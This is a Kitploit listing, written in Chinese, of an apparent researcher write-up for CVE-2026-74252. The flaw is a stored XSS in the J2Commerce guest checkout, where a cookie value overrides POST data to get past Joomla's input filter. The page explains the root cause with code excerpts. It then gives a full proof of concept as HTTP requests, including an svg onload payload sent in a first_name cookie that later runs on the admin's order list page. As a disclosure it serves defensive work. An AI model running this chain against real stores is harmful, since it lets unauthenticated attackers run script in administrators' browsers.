Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-74252 — 通过Cookie过滤器绕过在J2Commerce访客结账中的存储型XSS | Kitploit
工具/GitHubGitHub/toanln-cov/cve-2026-74252
漏洞分析漏洞利用Web应用程序漏洞利用Web安全
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

通过Cookie过滤器绕过在J2Commerce访客结账中的存储型XSS

查看仓库
121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

J2Commerce 访客结账中的存储型 XSS(通过 Cookie 过滤器绕过)

J2Commerce (com_j2store) ≤ 4.1.5 —— 未认证攻击者可存储 XSS 载荷,并在管理员浏览器页面加载时自动执行

CVE CVSS v4.0 CWE-79 Affected Researcher


摘要

J2Commerce 4.1.5 存在存储型跨站脚本(XSS)漏洞,攻击路径为访客结账(guest checkout)的账单地址字段。未认证攻击者利用 Joomla Input::getArray() 中的过滤器绕过,结合 PHP 的 variables_order=EGPCS(在 $_REQUEST 中 Cookie 覆盖 POST),将未净化的 HTML 存储到 billing_first_name 等字段中。这些字段在管理员订单管理面板中被直接输出且未经 htmlspecialchars() 处理,导致载荷在管理员浏览器中执行。

当管理员导航至订单列表时,XSS 载荷会在页面加载时自动触发——无需点击任何具体订单。仅需一条 HTTP 请求链(加入购物车 → 借助 Cookie 绕过提交结账 → 下单)即可永久存储该载荷;在订单被删除或漏洞被修复之前,它将在每位管理员的浏览器中执行。

该攻击不需要攻击者进行任何身份认证。访客结账是电子商务网站的标准功能且普遍启用,管理员有查看新订单的商业动机——这使得该漏洞极易被武器化利用。


受影响版本

组件受影响版本测试环境修复版本
J2Commerce (com_j2store)1.0.0 – 4.1.5Joomla 5.4.7 + MySQL 8.0 上的 4.1.53.3.21 / 4.0.21 / 4.1.6

漏洞详情

类型: 存储型跨站脚本(CWE-79) 所需认证: 无 —— 未认证(访客结账) 主要汇点(Sink): administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 写入路径: components/com_j2store/controllers/checkouts.php:535

根本原因

该漏洞由两个相互叠加的弱点组成:写入路径上的输入过滤器绕过,以及读取路径上缺失的输出编码。

1. 输入过滤器绕过 —— Joomla Input::getArray() 误用

J2Commerce 的访客结账控制器使用 $app->input->getArray($_POST) 读取地址字段。Joomla 的实现遍历 $_POST 数组,将每个值用作过滤器类型(而非数据),同时从 $_REQUEST 中读取实际值:

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 —— 写入路径

$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP —— GETARRAY() 方法(第 187 行)

public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP —— 数据源(第 97 行)

$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. PHP 的 variables_order —— 在 $_REQUEST 中 Cookie 覆盖 POST

PHP 的 $_REQUEST 是由 $_GET、$_POST 和 $_COOKIE 构建的合并型超全局变量。当 variables_order=EGPCS(大多数 PHP 环境编译时的默认配置)时,Cookie(C)排在 POST(P)之后,因此键名冲突时 Cookie 胜出。

在 POST 请求体中提交 first_name=RAW,会促使 Joomla 的 InputFilter::clean() 对 Cookie 值 first_name=<svg...> 应用过滤器类型 'Raw'(无操作),而该 Cookie 值在 $_REQUEST 中胜出。

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP —— CLEAN() 方法(第 215 行)

$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

最终结果: POST 请求体中的 first_name=RAW 将过滤器设置为无操作。Cookie first_name=<svg onload="alert(document.domain)"> 在 $_REQUEST 中胜出。Joomla 未经过滤即返回该 Cookie 值。J2Commerce 将其原样存储到 j2store_orderinfos.billing_first_name 中。

3. 缺失输出编码 —— 管理员模板汇点

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 —— 主要汇点(列表页面加载时触发)

// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 —— 次要汇点(Sink)

// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

除 Debian/Ubuntu(明确设置 request_order = "GP",将 Cookie 排除在 $_REQUEST 之外)外,此绕过在所有 PHP 环境中均有效。所有其他主流托管环境——cPanel/Plesk 共享主机、CentOS/RHEL、XAMPP/WAMP/MAMP、Windows IIS——均回退到 EGPCS,因此 Cookie 覆盖功能开箱即用,无需进行任何配置更改。


概念验证

1. 管理员基线 —— 攻击前的订单列表

以受害者管理员身份打开 J2Commerce 管理后台的订单列表。这确认了管理员正在正常使用该面板,并将在下次访问时遇到该载荷。

s1-step1-admin-orders-baseline

2. 从前端提取 CSRF 令牌

作为未认证攻击者,向 J2Commerce 前端主页发送 GET 请求以建立会话,并提取嵌入在页面 JSON 配置选项中的 CSRF 令牌。后续的 POST 请求需要此令牌。

s1-step2-csrf-token-extract

3. 将产品加入购物车

将产品添加到攻击者的购物车中。购物车必须非空,访客结账端点才会接受地址提交。

POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. 关键绕过 —— 利用 Cookie 过滤器技巧提交访客结账

提交访客结账地址表单,并为 first_name 提供两个冲突的值:

  • POST 请求体: first_name=RAW —— Joomla 将其解释为过滤器类型(无操作)
  • Cookie: first_name=<svg...> —— 该值在 $_REQUEST 中胜出(PHP EGPCS:Cookie > POST)并被未经过滤地返回
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. 完成配送信息验证

使用相同的 Cookie 绕过提交配送地址步骤。此步骤会在会话中设置配送国家/地区——跳过它会导致后续步骤报 "SHIPPING_ADDRESS_NOT_FOUND" 错误。

s1-step5-shipping-validate

6. 选择支付方式

选择支付方式(货到付款)。payment_plugin 字段不是文本输入框,不易受到 XSS 攻击。

POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. 获取订单确认哈希

提交确认步骤以获取订单摘要页面,其中包含隐藏的 hash 字段。完成订单需要该哈希。

POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. 下单 —— XSS 载荷持久化到数据库

使用上一步获取的哈希完成订单。服务器会在 joom_j2store_orderinfos 中创建订单记录,并将 billing_first_name 设置为原始的 XSS 载荷。

POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

下载工具